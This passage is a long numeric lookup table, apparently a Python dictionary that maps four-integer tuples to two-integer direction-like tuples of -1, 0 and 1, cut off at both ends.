21, -1, -5): (-1, 1), (8, 21, -1, -4): (-1, 1), (8, 21, -1, -3): (-1, 1), (8, 21, -1, -2): (-1, 1), (8, 21, -1, -1): (1, 1), (8, 21, -1, 0): (1, 1), (8, 21, -1, 1): (1, 1), (8, 21, -1, 2): (0, 1), (8, 21, -1, 3): (0, 1), (8, 21, -1, 4): (-1, 1), (8, 21, -1, 5): (-1, 1), (8, 21, 0, -5): (1, 1), (8, 21, 0, -4): (1, 1), (8, 21, 0, -3): (1, 1), (8, 21, 0, -2): (1, 1), (8, 21, 0, -1): (1, 1), (8, 21, 0, 0): (0, 1), (8, 21, 0, 1): (0, 1), (8, 21, 0, 2): (-1, 1), (8, 21, 0, 3): (-1, 1), (8, 21, 0, 4): (-1, 0), (8, 21, 0, 5): (-1, -1), (8, 21, 1, -5): (1, 1), (8, 21, 1, -4): (1, 1), (8, 21, 1, -3): (1, 0), (8, 21, 1, -2): (1, 1), (8, 21, 1, -1): (0, 1), (8, 21, 1, 0): (-1, 1), (8, 21, 1, 1): (-1, 1), (8, 21, 1, 2): (-1, 1), (8, 21, 1, 3): (-1, 1), (8, 21, 1, 4): (-1, 0), (8, 21, 1, 5): (-1, -1), (8, 21, 2, -5): (0, 1), (8, 21, 2, -4): (0, 1), (8, 21, 2, -3): (0, 0), (8, 21, 2, -2): (0, 1), (8, 21, 2, -1): (0, 1), (8, 21, 2, 0): (-1, 1), (8, 21, 2, 1): (-1, 1), (8, 21, 2, 2): (-1, 1), (8, 21, 2, 3): (-1, 1), (8, 21, 2, 4): (0, 1), (8, 21, 2, 5): (0, 1), (8, 21, 3, -5): (0, 1), (8, 21, 3, -4): (0, 1), (8, 21, 3, -3): (0, 0), (8, 21, 3, -2): (0, 1), (8, 21, 3, -1): (0, 1), (8, 21, 3, 0): (0, 1), (8, 21, 3, 1): (0, 1), (8, 21, 3, 2): (0, 1), (8, 21, 3, 3): (0, 1), (8, 21, 3, 4): (0, 1), (8, 21, 3, 5): (0, 1), (8, 21, 4, -5): (0, 1), (8, 21, 4, -4): (0, 1), (8, 21, 4, -3): (0, 0), (8, 21, 4, -2): (0, 1), (8, 21, 4, -1): (0, 1), (8, 21, 4, 0): (0, 1), (8, 21, 4, 1): (0, 1), (8, 21, 4, 2): (0, 1), (8, 21, 4, 3): (0, 1), (8, 21, 4, 4): (0, 1), (8, 21, 4, 5): (0, 1), (8, 21, 5, -5): (0, 1), (8, 21, 5, -4): (0, 1), (8, 21, 5, -3): (0, 0), (8, 21, 5, -2): (0, 1), (8, 21, 5, -1): (0, 1), (8, 21, 5, 0): (0, 1), (8, 21, 5, 1): (0, 1), (8, 21, 5, 2): (0, 1), (8, 21, 5, 3): (0, 1), (8, 21, 5, 4): (0, 1), (8, 21, 5, 5): (0, 1), (8, 22, -5, -5): (0, 1), (8, 22, -5, -4): (0, 0), (8, 22, -5, -3): (0, 1), (8, 22, -5, -2): (0, 1), (8, 22, -5, -1): (0, 1), (8, 22, -5, 0): (0, 1), (8, 22, -5, 1): (0, 1), (8, 22, -5, 2): (0, 1), (8, 22, -5, 3): (0, 1), (8, 22, -5, 4): (0, 1), (8, 22, -5, 5): (0, 1), (8, 22, -4, -5): (0, 1), (8, 22, -4, -4): (0, 0), (8, 22, -4, -3): (0, 1), (8, 22, -4, -2): (0, 1), (8, 22, -4, -1): (0, 1), (8, 22, -4, 0): (0, 1), (8, 22, -4, 1): (0, 1), (8, 22, -4, 2): (0, 1), (8, 22, -4, 3): (0, 1), (8, 22, -4, 4): (0, 1), (8, 22, -4, 5): (0, 1), (8, 22, -3, -5): (0, 1), (8, 22, -3, -4): (0, 0), (8, 22, -3, -3): (0, 1), (8, 22, -3, -2): (0, 1), (8, 22, -3, -1): (0, 1), (8, 22, -3, 0): (0, 1), (8, 22, -3, 1): (0, 1), (8, 22, -3, 2): (1, 1), (8, 22, -3, 3): (1, 1), (8, 22, -3, 4): (1, 1), (8, 22, -3, 5): (1, 0), (8, 22, -2, -5): (-1, 1), (8, 22, -2, -4): (-1, 0), (8, 22, -2, -3): (-1, 1), (8, 22, -2, -2): (-1, 1), (8, 22, -2, -1): (-1, 1), (8, 22, -2, 0): (1, 1), (8, 22, -2, 1): (1, 1), (8, 22, -2, 2): (1, 1), (8, 22, -2, 3): (1, 1), (8, 22, -2, 4): (0, 1), (8, 22, -2, 5): (0, 1), (8, 22, -1, -5): (-1, 1), (8, 22, -1, -4): (-1, 1), (8, 22, -1, -3): (-1, 1), (8, 22, -1, -2): (1, 1), (8, 22, -1, -1): (1, 1), (8, 22, -1, 0): (1, 1), (8, 22, -1, 1): (1, 1), (8, 22, -1, 2): (0, 1), (8, 22, -1, 3): (0, 1), (8, 22, -1, 4): (-1, 1), (8, 22, -1, 5): (-1, 1), (8, 22, 0, -5): (1, 1), (8, 22, 0, -4): (1, 1), (8, 22, 0, -3): (1, 1), (8, 22, 0, -2): (1, 1), (8, 22, 0, -1): (1, 1), (8, 22, 0, 0): (0, 1), (8, 22, 0, 1): (0, 1), (8, 22, 0, 2): (-1, 1), (8, 22, 0, 3): (-1, 1), (8, 22, 0, 4): (-1, 0), (8, 22, 0, 5): (-1, -1), (8, 22, 1, -5): (1, 1), (8, 22, 1, -4): (1, 0), (8, 22, 1, -3): (1, 1), (8, 22, 1, -2): (1, 1), (8, 22, 1, -1): (0, 1), (8, 22, 1, 0): (-1, 1), (8, 22, 1, 1): (-1, 1), (8, 22, 1, 2): (-1, 1), (8, 22, 1, 3): (-1, 0), (8, 22, 1, 4): (1, 1), (8, 22, 1, 5): (1, 0), (8, 22, 2, -5): (0, 1), (8, 22, 2, -4): (0, 0), (8, 22, 2, -3): (0, 1), (8, 22, 2, -2): (0, 1), (8, 22, 2, -1): (0, 1), (8, 22, 2, 0): (-1, 1), (8, 22, 2, 1): (-1, 1), (8, 22, 2, 2): (-1, 1), (8, 22, 2, 3): (0, 1), (8, 22, 2, 4): (0, 1), (8, 22, 2, 5): (0, 1), (8, 22, 3, -5): (0, 1), (8, 22, 3, -4): (0, 0), (8, 22, 3, -3): (0, 1), (8, 22, 3, -2): (0, 1), (8, 22, 3, -1): (0, 1), (8, 22, 3, 0): (0, 1), (8, 22, 3, 1): (0, 1), (8, 22, 3, 2): (0, 1), (8, 22, 3, 3): (0, 1), (8, 22, 3, 4): (0, 1), (8, 22, 3, 5): (0, 1), (8, 22, 4, -5): (0, 1), (8, 22, 4, -4): (0, 0), (8, 22, 4, -3): (0, 1), (8, 22, 4, -2): (0, 1), (8, 22, 4, -1): (0, 1), (8, 22, 4, 0): (0, 1), (8, 22, 4, 1): (0, 1), (8, 22, 4, 2): (0, 1), (8, 22, 4, 3): (0, 1), (8, 22, 4, 4): (0, 1), (8, 22, 4, 5): (0, 1), (8, 22, 5, -5): (0, 1), (8, 22, 5, -4): (0, 0), (8, 22, 5, -3): (0, 1), (8, 22, 5, -2): (0, 1), (8, 22, 5, -1): (0, 1), (8, 22, 5, 0): (0, 1), (8, 22, 5, 1): (0, 1), (8, 22, 5, 2): (0, 1), (8, 22, 5, 3): (0, 1), (8, 22, 5, 4): (0, 1), (8, 22, 5, 5): (0, 1), (8, 23, -5, -5): (0, 0), (8, 23, -5, -4): (0, 1), (8, 23, -5, -3): (0, 1), (8, 23, -5, -2): (0, 1), (8, 23, -5, -1): (0, 1), (8, 23, -5, 0): (0, 1), (8, 23, -5, 1): (0, 1), (8, 23, -5, 2): (0, 1), (8, 23, -5, 3): (0, 1), (8, 23, -5, 4): (0, 1), (8, 23, -5, 5): (0, 1), (8, 23, -4, -5): (0, 0), (8, 23, -4, -4): (0, 1), (8, 23, -4, -3): (0, 1), (8, 23, -4, -2): (0, 1), (8, 23, -4, -1): (0, 1), (8, 23, -4, 0): (0, 1), (8, 23, -4, 1): (0, 1), (8, 23, -4, 2): (0, 1), (8, 23, -4, 3): (0, 1), (8, 23, -4, 4): (0, 1), (8, 23, -4, 5): (0, 1), (8, 23, -3, -5): (0, 0), (8, 23, -3, -4): (0, 1), (8, 23, -3, -3): (0, 1), (8, 23, -3, -2): (0, 1), (8, 23, -3, -1): (0, 1), (8, 23, -3, 0): (0, 1), (8, 23, -3, 1): (0, 1), (8, 23, -3, 2): (1, 1), (8, 23, -3, 3): (1, 1), (8, 23, -3, 4): (1, 1), (8, 23, -3, 5): (1, 0), (8, 23, -2, -5): (-1, 0), (8, 23, -2, -4): (-1, 1), (8, 23, -2, -3): (-1, 1), (8, 23, -2, -2): (-1, 1), (8, 23, -2, -1): (-1, 1), (8, 23, -2, 0): (1, 1), (8, 23, -2, 1): (1, 1), (8, 23, -2, 2): (1, 1), (8, 23, -2, 3): (0, 1), (8, 23, -2, 4): (0, 1), (8, 23, -2, 5): (0, 1), (8, 23, -1, -5): (-1, 1), (8, 23, -1, -4): (-1, 1), (8, 23, -1, -3): (-1, 1), (8, 23, -1, -2): (1, 1), (8, 23, -1, -1): (1, 1), (8, 23, -1, 0): (1, 1), (8, 23, -1, 1): (0, 1), (8, 23, -1, 2): (0, 1), (8, 23, -1, 3): (-1, 1), (8, 23, -1, 4): (-1, 1), (8, 23, -1, 5): (-1, 1), (8, 23, 0, -5): (1, 1), (8, 23, 0, -4): (1, 1), (8, 23, 0, -3): (1, 1), (8, 23, 0, -2): (1, 1), (8, 23, 0, -1): (1, 1), (8, 23, 0, 0): (0, 1), (8, 23, 0, 1): (-1, 1), (8, 23, 0, 2): (-1, 1), (8, 23, 0, 3): (-1, 0), (8, 23, 0, 4): (-1, -1), (8, 23, 0, 5): (-1, -1), (8, 23, 1, -5): (1, 0), (8, 23, 1, -4): (1, 1), (8, 23, 1, -3): (1, 1), (8, 23, 1, -2): (1, 1), (8, 23, 1, -1): (0, 1), (8, 23, 1, 0): (-1, 1), (8, 23, 1, 1): (-1, 1), (8, 23, 1, 2): (-1, 1), (8, 23, 1, 3): (-1, 0), (8, 23, 1, 4): (-1, -1), (8, 23, 1, 5): (1, 0), (8, 23, 2, -5): (0, 0), (8, 23, 2, -4): (0, 1), (8, 23, 2, -3): (0, 1), (8, 23, 2, -2): (0, 1), (8, 23, 2, -1): (0, 1), (8, 23, 2, 0): (-1, 1), (8, 23, 2, 1): (-1, 1), (8, 23, 2, 2): (0, 1), (8, 23, 2, 3): (0, 1), (8, 23, 2, 4): (0, 1), (8, 23, 2, 5): (0, 1), (8, 23, 3, -5): (0, 0), (8, 23, 3, -4): (0, 1), (8, 23, 3, -3): (0, 1), (8, 23, 3, -2): (0, 1), (8, 23, 3, -1): (0, 1), (8, 23, 3, 0): (0, 1), (8, 23, 3, 1): (0, 1), (8, 23, 3, 2): (0, 1), (8, 23, 3, 3): (0, 1), (8, 23, 3, 4): (0, 1), (8, 23, 3, 5): (0, 1), (8, 23, 4, -5): (0, 0), (8, 23, 4, -4): (0, 1), (8, 23, 4, -3): (0, 1), (8, 23, 4, -2): (0, 1), (8, 23, 4, -1): (0, 1), (8, 23, 4, 0): (0, 1), (8, 23, 4, 1): (0, 1), (8, 23, 4, 2): (0, 1), (8, 23, 4, 3): (0, 1), (8, 23, 4, 4): (0, 1), (8, 23, 4, 5): (0, 1), (8, 23, 5, -5): (0, 0), (8, 23, 5, -4): (0, 1), (8, 23, 5, -3): (0, 1), (8, 23, 5, -2): (0, 1), (8, 23, 5, -1): (0, 1), (8, 23, 5, 0): (0, 1), (8, 23, 5, 1): (0, 1), (8, 23, 5, 2): (0, 1), (8, 23, 5, 3): (0, 1), (8, 23, 5, 4): (0, 1), (8, 23, 5, 5): (0, 1), (8, 24, -5, -5): (0, 1), (8, 24, -5, -4): (0, 1), (8, 24, -5, -3): (0, 1), (8, 24, -5, -2): (0, 1), (8, 24, -5, -1): (0, 1), (8, 24, -5, 0): (0, 1), (8, 24, -5, 1): (0, 1), (8, 24, -5, 2): (0, 1), (8, 24, -5, 3): (0, 1), (8, 24, -5, 4): (0, 1), (8, 24, -5, 5): (0, 1), (8, 24, -4, -5): (0, 1), (8, 24, -4, -4): (0, 1), (8, 24, -4, -3): (0, 1), (8, 24, -4, -2): (0, 1), (8, 24, -4, -1): (0, 1), (8, 24, -4, 0): (0, 1), (8, 24, -4, 1): (0, 1), (8, 24, -4, 2): (0, 1), (8, 24, -4, 3): (0, 1), (8, 24, -4, 4): (0, 1), (8, 24, -4, 5): (0, 1), (8, 24, -3, -5): (0, 1), (8, 24, -3, -4): (0, 1), (8, 24, -3, -3): (0, 1), (8, 24, -3, -2): (0, 1), (8, 24, -3, -1): (0, 1), (8, 24, -3, 0): (0, 1), (8, 24, -3, 1): (1, 1), (8, 24, -3, 2): (1, 1), (8, 24, -3, 3): (1, 1), (8, 24, -3, 4): (1, 0), (8, 24, -3, 5): (1, -1), (8, 24, -2, -5): (-1, 1), (8, 24, -2, -4): (-1, 1), (8, 24, -2, -3): (-1, 1), (8, 24, -2, -2): (-1, 1), (8, 24, -2, -1): (1, 1), (8, 24, -2, 0): (1, 1), (8, 24, -2, 1): (1, 1), (8, 24, -2, 2): (1, 1), (8, 24, -2, 3): (0, 1), (8, 24, -2, 4): (0, 0), (8, 24, -2, 5): (0, -1), (8, 24, -1, -5): (-1, 1), (8, 24, -1, -4): (-1, 1), (8, 24, -1, -3): (-1, 1), (8, 24, -1, -2): (1, 1), (8, 24, -1, -1): (1, 1), (8, 24, -1, 0): (1, 1), (8, 24, -1, 1): (0, 1), (8, 24, -1, 2): (0, 1), (8, 24, -1, 3): (-1, 1), (8, 24, -1, 4): (-1, 0), (8, 24, -1, 5): (-1, -1), (8, 24, 0, -5): (1, 1), (8, 24, 0, -4): (1, 1), (8, 24, 0, -3): (1, 1), (8, 24, 0, -2): (1, 1), (8, 24, 0, -1): (1, 1), (8, 24, 0, 0): (0, 1), (8, 24, 0, 1): (-1, 1), (8, 24, 0, 2): (-1, 1), (8, 24, 0, 3): (-1, 0), (8, 24, 0, 4): (-1, -1), (8, 24, 0, 5): (-1, -1), (8, 24, 1, -5): (1, 1), (8, 24, 1, -4): (1, 1), (8, 24, 1, -3): (1, 1), (8, 24, 1, -2): (1, 1), (8, 24, 1, -1): (0, 1), (8, 24, 1, 0): (-1, 1), (8, 24, 1, 1): (-1, 1), (8, 24, 1, 2): (-1, 1), (8, 24, 1, 3): (-1, 0), (8, 24, 1, 4): (-1, -1), (8, 24, 1, 5): (1, 0), (8, 24, 2, -5): (0, 1), (8, 24, 2, -4): (0, 1), (8, 24, 2, -3): (0, 1), (8, 24, 2, -2): (0, 1), (8, 24, 2, -1): (0, 1), (8, 24, 2, 0): (-1, 1), (8, 24, 2, 1): (0, 1), (8, 24, 2, 2): (0, 1), (8, 24, 2, 3): (0, 1), (8, 24, 2, 4): (0, 1), (8, 24, 2, 5): (0, 1), (8, 24, 3, -5): (0, 1), (8, 24, 3, -4): (0, 1), (8, 24, 3, -3): (0, 1), (8, 24, 3, -2): (0, 1), (8, 24, 3, -1): (0, 1), (8, 24, 3, 0): (0, 1), (8, 24, 3, 1): (0, 1), (8, 24, 3, 2): (0, 1), (8, 24, 3, 3): (0, 1), (8, 24, 3, 4): (0, 1), (8, 24, 3, 5): (0, 1), (8, 24, 4, -5): (0, 1), (8, 24, 4, -4): (0, 1), (8, 24, 4, -3): (0, 1), (8, 24, 4, -2): (0, 1), (8, 24, 4, -1): (0, 1), (8, 24, 4, 0): (0, 1), (8, 24, 4, 1): (0, 1), (8, 24, 4, 2): (0, 1), (8, 24, 4, 3): (0, 1), (8, 24, 4, 4): (0, 1), (8, 24, 4, 5): (0, 1), (8, 24, 5, -5): (0, 1), (8, 24, 5, -4): (0, 1), (8, 24, 5, -3): (0, 1), (8, 24, 5, -2): (0, 1), (8, 24, 5, -1): (0, 1), (8, 24, 5, 0): (0, 1), (8, 24, 5, 1): (0, 1), (8, 24, 5, 2): (0, 1), (8, 24, 5, 3): (0, 1), (8, 24, 5, 4): (0, 1), (8, 24, 5, 5): (0, 1), (8, 25, -5, -5): (0, 1), (8, 25, -5, -4): (0, 1), (8, 25, -5, -3): (0, 1), (8, 25, -5, -2): (0, 1), (8, 25, -5, -1): (0, 1), (8, 25, -5, 0): (0, 1), (8, 25, -5, 1): (0, 1), (8, 25, -5, 2): (0, 1), (8, 25, -5, 3): (0, 1), (8, 25, -5, 4): (0, 1), (8, 25, -5, 5): (0, 1), (8, 25, -4, -5): (0, 1), (8, 25, -4, -4): (0, 1), (8, 25, -4, -3): (0, 1), (8, 25, -4, -2): (0, 1), (8, 25, -4, -1): (0, 1), (8, 25, -4, 0): (0, 1), (8, 25, -4, 1): (0, 1), (8, 25, -4, 2): (0, 1), (8, 25, -4, 3): (0, 1), (8, 25, -4, 4): (-1, 1), (8, 25, -4, 5): (-1, 1), (8, 25, -3, -5): (0, 1), (8, 25, -3, -4): (0, 1), (8, 25, -3, -3): (0, 1), (8, 25, -3, -2): (0, 1), (8, 25, -3, -1): (0, 1), (8, 25, -3, 0): (0, 1), (8, 25, -3, 1): (1, 1), (8, 25, -3, 2): (1, 1), (8, 25, -3, 3): (1, 1), (8, 25, -3, 4): (1, 0), (8, 25, -3, 5): (1, -1), (8, 25, -2, -5): (-1, 1), (8, 25, -2, -4): (-1, 1), (8, 25, -2, -3): (-1, 1), (8, 25, -2, -2): (-1, 1), (8, 25, -2, -1): (1, 1), (8, 25, -2, 0): (1, 1), (8, 25, -2, 1): (1, 1), (8, 25, -2, 2): (0, 1), (8, 25, -2, 3): (0, 1), (8, 25, -2, 4): (0, 0), (8, 25, -2, 5): (0, -1), (8, 25, -1, -5): (-1, 1), (8, 25, -1, -4): (-1, 1), (8, 25, -1, -3): (-1, 1), (8, 25, -1, -2): (1, 1), (8, 25, -1, -1): (1, 1), (8, 25, -1, 0): (1, 1), (8, 25, -1, 1): (0, 1), (8, 25, -1, 2): (-1, 1), (8, 25, -1, 3): (-1, 1), (8, 25, -1, 4): (-1, 0), (8, 25, -1, 5): (-1, -1), (8, 25, 0, -5): (1, 1), (8, 25, 0, -4): (1, 1), (8, 25, 0, -3): (1, 1), (8, 25, 0, -2): (1, 1), (8, 25, 0, -1): (1, 1), (8, 25, 0, 0): (0, 1), (8, 25, 0, 1): (-1, 1), (8, 25, 0, 2): (-1, 1), (8, 25, 0, 3): (-1, 0), (8, 25, 0, 4): (-1, -1), (8, 25, 0, 5): (-1, -1), (8, 25, 1, -5): (1, 1), (8, 25, 1, -4): (1, 1), (8, 25, 1, -3): (1, 1), (8, 25, 1, -2): (1, 1), (8, 25, 1, -1): (1, 1), (8, 25, 1, 0): (-1, 1), (8, 25, 1, 1): (-1, 1), (8, 25, 1, 2): (-1, 1), (8, 25, 1, 3): (-1, 0), (8, 25, 1, 4): (-1, -1), (8, 25, 1, 5): (1, -1), (8, 25, 2, -5): (0, 1), (8, 25, 2, -4): (0, 1), (8, 25, 2, -3): (0, 1), (8, 25, 2, -2): (0, 1), (8, 25, 2, -1): (0, 1), (8, 25, 2, 0): (0, 1), (8, 25, 2, 1): (0, 1), (8, 25, 2, 2): (0, 1), (8, 25, 2, 3): (0, 1), (8, 25, 2, 4): (0, 0), (8, 25, 2, 5): (0, -1), (8, 25, 3, -5): (0, 1), (8, 25, 3, -4): (0, 1), (8, 25, 3, -3): (0, 1), (8, 25, 3, -2): (0, 1), (8, 25, 3, -1): (0, 1), (8, 25, 3, 0): (0, 1), (8, 25, 3, 1): (0, 1), (8, 25, 3, 2): (0, 1), (8, 25, 3, 3): (0, 1), (8, 25, 3, 4): (0, 0), (8, 25, 3, 5): (-1, -1), (8, 25, 4, -5): (0, 1), (8, 25, 4, -4): (0, 1), (8, 25, 4, -3): (0, 1), (8, 25, 4, -2): (0, 1), (8, 25, 4, -1): (0, 1), (8, 25, 4, 0): (0, 1), (8, 25, 4, 1): (0, 1), (8, 25, 4, 2): (0, 1), (8, 25, 4, 3): (0, 1), (8, 25, 4, 4): (0, 0), (8, 25, 4, 5): (-1, -1), (8, 25, 5, -5): (0, 1), (8, 25, 5, -4): (0, 1), (8, 25, 5, -3): (0, 1), (8, 25, 5, -2): (0, 1), (8, 25, 5, -1): (0, 1), (8, 25, 5, 0): (0, 1), (8, 25, 5, 1): (0, 1), (8, 25, 5, 2): (0, 1), (8, 25, 5, 3): (0, 1), (8, 25, 5, 4): (0, 0), (8, 25, 5, 5): (-1, -1), (8, 26, -5, -5): (0, 1), (8, 26, -5, -4): (0, 1), (8, 26, -5, -3): (0, 1), (8, 26, -5, -2): (0, 1), (8, 26, -5, -1): (0, 1), (8, 26, -5, 0): (0, 1), (8, 26, -5, 1): (0, 1), (8, 26, -5, 2): (0, 1), (8, 26, -5, 3): (0, 1), (8, 26, -5, 4): (0, 1), (8, 26, -5, 5): (0, 1), (8, 26, -4, -5): (0, 1), (8, 26, -4, -4): (0, 1), (8, 26, -4, -3): (0, 1), (8, 26, -4, -2): (0, 1), (8, 26, -4, -1): (0, 1), (8, 26, -4, 0): (0, 1), (8, 26, -4, 1): (0, 1), (8, 26, -4, 2): (0, 1), (8, 26, -4, 3): (-1, 1), (8, 26, -4, 4): (-1, 1), (8, 26, -4, 5): (-1, 1), (8, 26, -3, -5): (0, 1), (8, 26, -3, -4): (0, 1), (8, 26, -3, -3): (0, 1), (8, 26, -3, -2): (0, 1), (8, 26, -3, -1): (0, 1), (8, 26, -3, 0): (1, 1), (8, 26, -3, 1): (1, 1), (8, 26, -3, 2): (1, 1), (8, 26, -3, 3): (1, 0), (8, 26, -3, 4): (1, -1), (8, 26, -3, 5): (1, -1), (8, 26, -2, -5): (-1, 1), (8, 26, -2, -4): (-1, 1), (8, 26, -2, -3): (-1, 1), (8, 26, -2, -2): (-1, 1), (8, 26, -2, -1): (1, 1), (8, 26, -2, 0): (1, 1), (8, 26, -2, 1): (1, 1), (8, 26, -2, 2): (0, 1), (8, 26, -2, 3): (0, 0), (8, 26, -2, 4): (0, -1), (8, 26, -2, 5): (0, -1), (8, 26, -1, -5): (-1, 1), (8, 26, -1, -4): (-1, 1), (8, 26, -1, -3): (-1, 1), (8, 26, -1, -2): (1, 1), (8, 26, -1, -1): (0, 1), (8, 26, -1, 0): (0, 1), (8, 26, -1, 1): (0, 1), (8, 26, -1, 2): (-1, 1), (8, 26, -1, 3): (-1, 0), (8, 26, -1, 4): (-1, -1), (8, 26, -1, 5): (-1, -1), (8, 26, 0, -5): (1, 1), (8, 26, 0, -4): (1, 1), (8, 26, 0, -3): (1, 1), (8, 26, 0, -2): (1, 1), (8, 26, 0, -1): (-1, 1), (8, 26, 0, 0): (-1, 1), (8, 26, 0, 1): (-1, 1), (8, 26, 0, 2): (-1, 0), (8, 26, 0, 3): (-1, -1), (8, 26, 0, 4): (-1, -1), (8, 26, 0, 5): (-1, 1), (8, 26, 1, -5): (1, 1), (8, 26, 1, -4): (1, 1), (8, 26, 1, -3): (1, 1), (8, 26, 1, -2): (1, 1), (8, 26, 1, -1): (1, 1), (8, 26, 1, 0): (-1, 1), (8, 26, 1, 1): (-1, 1), (8, 26, 1, 2): (-1, 0), (8, 26, 1, 3): (-1, -1), (8, 26, 1, 4): (-1, -1), (8, 26, 1, 5): (1, -1), (8, 26, 2, -5): (0, 1), (8, 26, 2, -4): (0, 1), (8, 26, 2, -3): (0, 1), (8, 26, 2, -2): (0, 1), (8, 26, 2, -1): (0, 1), (8, 26, 2, 0): (0, 1), (8, 26, 2, 1): (0, 1), (8, 26, 2, 2): (0, 1), (8, 26, 2, 3): (0, 0), (8, 26, 2, 4): (0, -1), (8, 26, 2, 5): (0, -1), (8, 26, 3, -5): (0, 1), (8, 26, 3, -4): (0, 1), (8, 26, 3, -3): (0, 1), (8, 26, 3, -2): (0, 1), (8, 26, 3, -1): (0, 1), (8, 26, 3, 0): (0, 1), (8, 26, 3, 1): (0, 1), (8, 26, 3, 2): (0, 1), (8, 26, 3, 3): (0, 0), (8, 26, 3, 4): (-1, -1), (8, 26, 3, 5): (-1, -1), (8, 26, 4, -5): (0, 1), (8, 26, 4, -4): (0, 1), (8, 26, 4, -3): (0, 1), (8, 26, 4, -2): (0, 1), (8, 26, 4, -1): (0, 1), (8, 26, 4, 0): (0, 1), (8, 26, 4, 1): (0, 1), (8, 26, 4, 2): (0, 1), (8, 26, 4, 3): (0, 0), (8, 26, 4, 4): (-1, -1), (8, 26, 4, 5): (-1, -1), (8, 26, 5, -5): (0, 1), (8, 26, 5, -4): (0, 1), (8, 26, 5, -3): (0, 1), (8, 26, 5, -2): (0, 1), (8, 26, 5, -1): (0, 1), (8, 26, 5, 0): (0, 1), (8, 26, 5, 1): (0, 1), (8, 26, 5, 2): (0, 1), (8, 26, 5, 3): (0, 0), (8, 26, 5, 4): (-1, -1), (8, 26, 5, 5): (-1, -1), (8, 27, -5, -5): (0, 1), (8, 27, -5, -4): (0, 1), (8, 27, -5, -3): (0, 1), (8, 27, -5, -2): (0, 1), (8, 27, -5, -1): (0, 1), (8, 27, -5, 0): (0, 1), (8, 27, -5, 1): (0, 1), (8, 27, -5, 2): (0, 1), (8, 27, -5, 3): (0, 1), (8, 27, -5, 4): (0, 1), (8, 27, -5, 5): (0, 1), (8, 27, -4, -5): (0, 1), (8, 27, -4, -4): (0, 1), (8, 27, -4, -3): (0, 1), (8, 27, -4, -2): (0, 1), (8, 27, -4, -1): (0, 1), (8, 27, -4, 0): (0, 1), (8, 27, -4, 1): (0, 1), (8, 27, -4, 2): (-1, 1), (8, 27, -4, 3): (-1, 1), (8, 27, -4, 4): (0, 1), (8, 27, -4, 5): (0, 1), (8, 27, -3, -5): (0, 1), (8, 27, -3, -4): (0, 1), (8, 27, -3, -3): (0, 1), (8, 27, -3, -2): (0, 1), (8, 27, -3, -1): (0, 1), (8, 27, -3, 0): (1, 1), (8, 27, -3, 1): (1, 1), (8, 27, -3, 2): (1, 1), (8, 27, -3, 3): (1, 0), (8, 27, -3, 4): (1, -1), (8, 27, -3, 5): (0, 1), (8, 27, -2, -5): (-1, 1), (8, 27, -2, -4): (-1, 1), (8, 27, -2, -3): (-1, 1), (8, 27, -2, -2): (-1, 1), (8, 27, -2, -1): (1, 1), (8, 27, -2, 0): (1, 1), (8, 27, -2, 1): (0, 1), (8, 27, -2, 2): (0, 1), (8, 27, -2, 3): (0, 0), (8, 27, -2, 4): (0, -1), (8, 27, -2, 5): (-1, 1), (8, 27, -1, -5): (-1, 1), (8, 27, -1, -4): (-1, 1), (8, 27, -1, -3): (-1, 1), (8, 27, -1, -2): (0, 1), (8, 27, -1, -1): (1, 1), (8, 27, -1, 0): (0, 1), (8, 27, -1, 1): (-1, 1), (8, 27, -1, 2): (-1, 1), (8, 27, -1, 3): (-1, 0), (8, 27, -1, 4): (-1, -1), (8, 27, -1, 5): (-1, -1), (8, 27, 0, -5): (1, 1), (8, 27, 0, -4): (1, 1), (8, 27, 0, -3): (1, 1), (8, 27, 0, -2): (1, 1), (8, 27, 0, -1): (0, 1), (8, 27, 0, 0): (-1, 1), (8, 27, 0, 1): (-1, 1), (8, 27, 0, 2): (-1, 0), (8, 27, 0, 3): (-1, -1), (8, 27, 0, 4): (-1, -1), (8, 27, 0, 5): (-1, -1), (8, 27, 1, -5): (1, 1), (8, 27, 1, -4): (1, 1), (8, 27, 1, -3): (1, 1), (8, 27, 1, -2): (1, 1), (8, 27, 1, -1): (1, 1), (8, 27, 1, 0): (-1, 1), (8, 27, 1, 1): (-1, 0), (8, 27, 1, 2): (-1, -1), (8, 27, 1, 3): (-1, -1), (8, 27, 1, 4): (-1, -1), (8, 27, 1, 5): (1, 0), (8, 27, 2, -5): (0, 1), (8, 27, 2, -4): (0, 1), (8, 27, 2, -3): (0, 1), (8, 27, 2, -2): (0, 1), (8, 27, 2, -1): (0, 1), (8, 27, 2, 0): (0, 1), (8, 27, 2, 1): (0, 1), (8, 27, 2, 2): (0, 0), (8, 27, 2, 3): (0, -1), (8, 27, 2, 4): (0, 1), (8, 27, 2, 5): (0, 1), (8, 27, 3, -5): (0, 1), (8, 27, 3, -4): (0, 1), (8, 27, 3, -3): (0, 1), (8, 27, 3, -2): (0, 1), (8, 27, 3, -1): (0, 1), (8, 27, 3, 0): (0, 1), (8, 27, 3, 1): (0, 1), (8, 27, 3, 2): (0, 0), (8, 27, 3, 3): (-1, -1), (8, 27, 3, 4): (0, 1), (8, 27, 3, 5): (0, 1), (8, 27, 4, -5): (0, 1), (8, 27, 4, -4): (0, 1), (8, 27, 4, -3): (0, 1), (8, 27, 4, -2): (0, 1), (8, 27, 4, -1): (0, 1), (8, 27, 4, 0): (0, 1), (8, 27, 4, 1): (0, 1), (8, 27, 4, 2): (0, 0), (8, 27, 4, 3): (-1, -1), (8, 27, 4, 4): (0, 1), (8, 27, 4, 5): (0, 1), (8, 27, 5, -5): (0, 1), (8, 27, 5, -4): (0, 1), (8, 27, 5, -3): (0, 1), (8, 27, 5, -2): (0, 1), (8, 27, 5, -1): (0, 1), (8, 27, 5, 0): (0, 1), (8, 27, 5, 1): (0, 1), (8, 27, 5, 2): (0, 0), (8, 27, 5, 3): (-1, -1), (8, 27, 5, 4): (0, 1), (8, 27, 5, 5): (0, 1), (8, 28, -5, -5): (0, 1), (8, 28, -5, -4): (0, 1), (8, 28, -5, -3): (0, 1), (8, 28, -5, -2): (0, 1), (8, 28, -5, -1): (0, 1), (8, 28, -5, 0): (0, 1), (8, 28, -5, 1): (0, 1), (8, 28, -5, 2): (0, 1), (8, 28, -5, 3): (0, 1), (8, 28, -5, 4): (0, 0), (8, 28, -5, 5): (-1, -1), (8, 28, -4, -5): (0, 1), (8, 28, -4, -4): (0, 1), (8, 28, -4, -3): (0, 1), (8, 28, -4, -2): (0, 1), (8, 28, -4, -1): (0, 1), (8, 28, -4, 0): (0, 1), (8, 28, -4, 1): (-1, 1), (8, 28, -4, 2): (-1, 1), (8, 28, -4, 3): (0, 1), (8, 28, -4, 4): 